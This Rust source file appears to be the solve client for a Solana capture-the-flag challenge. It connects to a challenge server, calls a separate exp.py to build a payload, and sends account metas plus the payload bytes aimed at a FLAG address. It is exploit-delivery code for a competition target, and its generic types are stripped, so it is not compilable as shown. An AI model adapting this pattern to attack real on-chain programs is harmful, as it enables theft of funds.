// framework-solve/src/main.rs use solana_program::{instruction::AccountMeta, pubkey::Pubkey, system_program, pubkey}; use std::net::TcpStream; use std::{error::Error, io::prelude::*, io::BufReader, str::FromStr}; use std::process::Command; use std::fs::File; fn get_line(reader: &mut BufReader) -> Result> { let mut line = String::new(); reader.read_line(&mut line)?; let ret = line .split(':') .nth(1) .ok_or("invalid input")? .trim() .to_string(); Ok(ret) } fn main() -> Result<(), Box> { println!("running"); // let mut stream = TcpStream::connect("localhost:1337")?; let mut stream = TcpStream::connect("jotterp.challenges.paradigm.xyz:1337")?; let mut reader = BufReader::new(stream.try_clone().unwrap()); let mut line = String::new(); let s = &get_line(&mut reader)?; let _user = Pubkey::from_str(s)?; // TODO let program_id = pubkey!("osecio1111111111111111111111111111111111111"); let target_pda = Pubkey::create_program_address(&["FLAG".as_ref()], &program_id)?; let mut data: Vec = vec![]; let cmd = Command::new("python3") .arg("exp.py") .arg(format!("USER_PK={}", s)) .arg("REMOTE=1") .output()?; println!("{}", String::from_utf8(cmd.stdout).unwrap()); println!("{}", String::from_utf8(cmd.stderr).unwrap()); let mut file = File::open("payload.bin")?; file.read_to_end(&mut data)?; let metas: Vec = vec![ AccountMeta::new(_user, true), AccountMeta::new(target_pda, false), AccountMeta::new_readonly(system_program::ID, false), AccountMeta::new(program_id, false), ]; // TODO reader.read_line(&mut line)?; writeln!(stream, "{}", metas.len())?; for meta in metas { let mut meta_str = String::new(); meta_str.push('m'); if meta.is_writable { meta_str.push('w'); } if meta.is_signer { meta_str.push('s'); } meta_str.push(' '); meta_str.push_str(&meta.pubkey.to_string()); println!("{:?}", &meta.pubkey.to_string()); writeln!(stream, "{}", meta_str)?; stream.flush()?; } reader.read_line(&mut line)?; writeln!(stream, "{}", data.len())?; stream.write_all(&data)?; stream.flush()?; line.clear(); while reader.read_line(&mut line)? != 0 { print!("{}", line); line.clear(); } Ok(()) }